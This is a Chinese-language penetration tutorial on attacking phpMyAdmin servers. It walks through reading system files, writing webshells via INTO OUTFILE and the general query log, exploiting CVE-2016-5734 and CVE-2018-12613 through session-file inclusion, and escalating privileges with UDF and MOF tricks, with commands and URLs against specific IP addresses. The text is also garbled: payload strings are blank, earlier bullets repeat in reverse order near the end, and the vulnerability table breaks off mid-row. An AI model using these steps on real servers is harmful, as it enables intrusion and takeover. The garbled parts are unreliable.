【2025最新】phpMyAdmin渗透利用全链路:信息收集→漏洞探测→后渗透提权技巧
目录
一、信息收集与漏洞探测
1. 获取关键信息
2. 权限验证
3. 漏洞扫描
二、历史漏洞利用方法
1. 写入 Webshell
到了这个地步密码探索
2. 远程代码执行(RCE)
3. 提权与后渗透
4. 文件包含漏洞
三、高危历史漏洞列表
四、防御与加固建议
五、提醒
一、信息收集与漏洞探测
1. 获取关键信息
- 版本信息:访问 /readme.php、/changelog.php 等路径,或查看 /doc/html/index.html 获取版本号,判断是否存在已知漏洞。
- 绝对路径获取:
- 通过 phpinfo() 页面或报错信息(如注入单引号导致错误)暴露路径。
- 使用 SHOW VARIABLES LIKE '%datadir%'; 查看数据库路径,推测 Web 目录(如 /var/www/html)。
- 利用 SELECT load_file('/etc/passwd'); 读取系统文件。
2. 权限验证
- 检查写入权限:
SHOW VARIABLES LIKE 'secure_file_priv';
- 若值为空,可写入任意目录;若为 /tmp/,仅限该目录。
- 用户权限:执行 SHOW GRANTS; 确认是否为 root 或高权限账户。
3. 漏洞扫描
- 已知漏洞探测:
- 本地文件包含:测试 gis_data_editor.php?gis_data[gis_type]=/../../../../etc/passwd%00(需有效 token)。
- 反序列化漏洞:发送特定 POST 请求尝试读取 /etc/passwd(适用于 phpMyAdmin 2.x)。
- 跨站请求伪造 (CSRF):构造恶意链接诱导管理员执行 SQL 操作(如删除数据库)。
二、历史漏洞利用方法
1. 写入 Webshell
- 直接写入:
SELECT '' INTO OUTFILE '/var/www/html/shell.php';
- 需满足:secure_file_priv 为空且已知 Web 路径。
- 通过日志记录 PHP 代码生成后门。
-
开启/关闭情况以及日志存储文件的位置
-
得知 通过日志我们就可以进行其它渗透行为
Show variables like "general_log%"
- 日志文件写入:
SET GLOBAL general_log = 'ON'; 设置打开日志 SET GLOBAL general_log_file = "C:\\phpStudy\\www\\shell.php"; 日志记录的位置 SELECT ''; 写入一句话木马 select "" 系统执行命令 show variables like "general_log%" 来验证上述修改是否成功
- 植入木马后查看dir文件路径:
http://192.168.111.133/shell.php?cmd=dir
- 执行了dir命令发现yxcms,从这个命令像cms系统,我们试一下访问一下:
-
到了这个地步密码探索
- 从页面信息角度收集信息
2. 远程代码执行(RCE)
- CVE-2016-5734(phpMyAdmin 4.3.0-4.6.2):
- 利用 preg_replace 的 /e 修饰符漏洞执行命令:
python3 exploit.py -u root -p root -d test -c "system('id');" http://target.com
- CVE-2018-12613(phpMyAdmin 4.8.0-4.8.1):
- 构造 URL 包含远程文件或本地 Session 文件(需二次编码绕过检查):
/index.php?target=db_sql.php%253f/../../../../tmp/sess_[session_id]
3. 提权与后渗透
- UDF 提权(Windows/Linux):
- 上传自定义 DLL/SO 文件到插件目录,创建函数执行系统命令:
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys.dll'; SELECT sys_eval('whoami');
- MOF 提权(Windows ≤ 2003):
- 利用 MySQL 写入恶意 MOF 文件,系统每 5 秒执行一次命令。
4. 文件包含漏洞
- phpmyadmin 4.8
-
http://192.168.96.133:2003/index.php?target=db_datadict.php%253f/../../../../../../../../etc/passwd
-
可以通过文件包含漏洞获取服务器权限,我们在选择sql菜单,然后在sql输入如下命令。
-
select ""
-
执行sql语句会保存在PHPMyAdmin的临时session文件中
-
临时的session文件名称可通过bp抓取数据包获得
-
抓取任意数据包,数据包中Cookie字段phpMyAdmin值加上前追sess_就是临时session文件名
-
Cookie: phpMyAdmin=4a6dfc78f1c64493821a0c327bbca5e6; pma_lang=zh_CN
-
http://192.168.96.133:2003/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_4a6dfc78f1c64493821a0c327bbca5e6
-
这个时候会以php代码的形式执行。在文件包好url的访问结果中【文件包含漏洞】我们可以获得服务器执行的pwd结果 我们知道当前的路径是/var/www/html[执行一句话木马的位置]
-
select '';
select '';
http://192.168.96.133:2003/1111.php
三、高危历史漏洞列表
漏洞编号 影响版本 利用方式 修复建议 CVE-2018-19968 4.0-4.8.3 本地文件包含读取敏感信息 升级至 4.8.4+ CVE-2016-5734 4.3.0-4.6.2 后台命令执行(需 PHP
- 利用 MySQL 写入恶意 MOF 文件,系统每 5 秒执行一次命令。
- 上传自定义 DLL/SO 文件到插件目录,创建函数执行系统命令:
- UDF 提权(Windows/Linux):
- 构造 URL 包含远程文件或本地 Session 文件(需二次编码绕过检查):
- 利用 preg_replace 的 /e 修饰符漏洞执行命令:
- CVE-2016-5734(phpMyAdmin 4.3.0-4.6.2):
- 从页面信息角度收集信息
-
- 执行了dir命令发现yxcms,从这个命令像cms系统,我们试一下访问一下:
- 植入木马后查看dir文件路径:
- 日志文件写入:
-
- 需满足:secure_file_priv 为空且已知 Web 路径。
- 直接写入:
- 已知漏洞探测:
- 检查写入权限:
免责声明:我们致力于保护作者版权,注重分享,被刊用文章因无法核实真实出处,未能及时与作者取得联系,或有版权异议的,请联系管理员,我们会立即处理! 部分文章是来自自研大数据AI进行生成,内容摘自(百度百科,百度知道,头条百科,中国民法典,刑法,牛津词典,新华词典,汉语词典,国家院校,科普平台)等数据,内容仅供学习参考,不准确地方联系删除处理! 图片声明:本站部分配图来自人工智能系统AI生成,觅知网授权图片,PxHere摄影无版权图库和百度,360,搜狗等多加搜索引擎自动关键词搜索配图,如有侵权的图片,请第一时间联系我们。